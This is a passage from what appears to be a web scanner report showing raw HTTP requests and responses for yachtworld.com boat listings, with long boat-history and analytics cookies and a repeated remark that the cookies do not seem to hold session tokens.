ROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:58:55 GMT Set-Cookie: VIEWED_BOATS_STORE=2292192%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B105%2C900%5B%25%5DPt.+Pleasant%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F2%2F1%2F2292192_1_mini.jpg%3F1291581360000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2292192%2FPt.-Pleasant%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boats/2005/Regulator-32-Fs-1787065/Hilton-Head/SC/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:56 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 25 Jan 2011 01:47:39 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1787065%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B97%2C500%5B%25%5DHilton+Head%2C+SC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F7%2F8%2F7%2F0%2F1787065_20_mini.jpg%3F1282081450000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-1787065%2FHilton-Head%2FSC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:58:56 GMT Set-Cookie: VIEWED_BOATS_STORE=1787065%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B97%2C500%5B%25%5DHilton+Head%2C+SC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F7%2F8%2F7%2F0%2F1787065_20_mini.jpg%3F1282081450000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-1787065%2FHilton-Head%2FSC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boats/2005/Regulator-32-Fs-2270278/Placida/FL/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:56 GMT Server: Apache Cache-Control: private If-Modified-Since: Sat, 22 Jan 2011 03:59:44 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2270278%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B110%2C500%5B%25%5DPlacida%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F0%2F2%2F2270278_1_mini.jpg%3F1286049970000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-2270278%2FPlacida%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:58:56 GMT Set-Cookie: VIEWED_BOATS_STORE=2270278%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B110%2C500%5B%25%5DPlacida%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F0%2F2%2F2270278_1_mini.jpg%3F1286049970000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-2270278%2FPlacida%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boats/2005/Regulator-32-Fs-Center-Console-1990703/Brick/NJ/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:57 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 17 Dec 2010 17:08:15 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1990703%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B129%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F9%2F0%2F7%2F1990703_1_mini.jpg%3F1184600846000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-Center-Console-1990703%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B11